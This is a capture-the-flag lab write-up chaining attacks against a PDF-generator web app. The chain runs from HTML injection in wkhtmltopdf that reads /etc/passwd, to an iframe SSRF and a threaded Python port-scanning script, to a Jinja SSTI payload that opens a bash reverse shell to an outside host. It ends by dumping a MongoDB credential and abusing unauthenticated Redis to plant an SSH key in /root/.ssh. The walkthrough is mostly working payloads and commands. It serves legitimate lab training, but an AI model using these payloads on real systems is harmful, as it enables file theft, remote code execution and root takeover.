Day 15 Challenge Writeups



Vulnbydefault Day 15 Writeup
On opening the site url we have given this interface
Lets register a user
we have given this interface after login
Lets download this pdf
lets check this pdf using exiftool
Lets search for this version wkhtmltopdf 0.12.5
https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
</body></html>
our payload got executed
Flag 1
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///flag.txt");
x.send();
</script>
</body></html>
There is also admin endpoint
First we need to find internal ports so that we can send this application request from internal network use this payload to find the internal port
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<iframe src="http://localhost:80/admin" width="100%" height="900vh"></iframe>
</body></html>
I have made this script
import requests
import threading
# Target IP and common HTTP ports
TARGET_IP = "127.0.0.1"
COMMON_HTTP_PORTS = [80, 8080, 8000, 8001, 8888, 3000, 5000, 7000, 9000]
# Define cookie and target port for PDF generator
SESSION_COOKIE = "session=eyJpc0FkbWluIjpmYWxzZSwibG9nZ2VkX2luIjp0cnVlLCJ1c2VybmFtZSI6IlN1bGl0ZWNoIn0.Z9qxwA.i1wKGC6x4ZLYSjQ_l8-LC3q8vuo"
PDFGENERATOR_PORT = 8001 # Change this if the service runs on a different port
# Headers for the requests
HEADERS = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": f"http://{TARGET_IP}:{PDFGENERATOR_PORT}/pdfgenerator",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": SESSION_COOKIE, # Use the variable here
"Connection": "close"
}
# Base HTML template with a placeholder for the port
HTML_TEMPLATE = """<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head>
<body>
<iframe src="http://localhost:{PORT}/admin" width="100%" height="900vh"></iframe>
</body>
</html>"""
# Shared list to store results
results = []
lock = threading.Lock()
def send_requests(port):
""" Sends POST and GET requests to a specific port and logs response sizes """
post_url = f"http://{TARGET_IP}:{PDFGENERATOR_PORT}/pdfgenerator"
get_url = f"http://{TARGET_IP}:{PDFGENERATOR_PORT}/static/output.pdf"
# Replace the placeholder in the HTML content with the current port
html_content = HTML_TEMPLATE.replace("{PORT}", str(port))
# Form encoded payload
post_data = {"html_content": html_content}
try:
# Send POST request
requests.post(post_url, headers=HEADERS, data=post_data, timeout=5)
# Send GET request after POST
get_response = requests.get(get_url, headers=HEADERS, timeout=5)
get_size = len(get_response.content) if get_response.ok else 0
# Store the result
with lock:
results.append((port, get_size))
results.sort(key=lambda x: x[1], reverse=True) # Sort descending
# Clear screen and print top results dynamically
print("\033c", end="") # Clears the terminal
for p, size in results:
print(f"Port: {p} Bytes: {size}")
except requests.exceptions.RequestException:
pass # Ignore errors
# Run brute-force on multiple threads
threads = []
for port in COMMON_HTTP_PORTS:
t = threading.Thread(target=send_requests, args=(port,))
threads.append(t)
t.start()
# Wait for all threads to finish
for t in threads:
t.join()
print("[*] Brute-force complete!")
Alright with 8000 port we have got more bytes which means it is valid port
Flag 2
Lets check it if we can access admin panel
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<iframe src="http://localhost:8000/admin" width="100%" height="900vh"></iframe>
</body></html>
Now lets create a user with ssti payload
Our payload got executed
Lets use reverse shell payload
{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ngork/port 0>&1"').read()}}
Got shell
Lets check network connections
Flag 3
lets use mongosh
Users collection
user.txt
developer:picklespicklespickles
root.txt
Lets check network connections again
6379 port is known port for redis.
Also 22 port is open which is port of ssh.
https://hackviser.com/tactics/pentesting/services/redis#unauthorized-ssh-access-via-redis-exploitation
ssh-keygen -t ecdsa -b 521 -f key
(echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
redis-cli -h 127.0.0.1 flushall
cat key.txt | redis-cli -h 127.0.0.1 -x set pwn
redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
redis-cli -h 127.0.0.1 config set dir /root/.ssh
redis-cli -h 127.0.0.1 save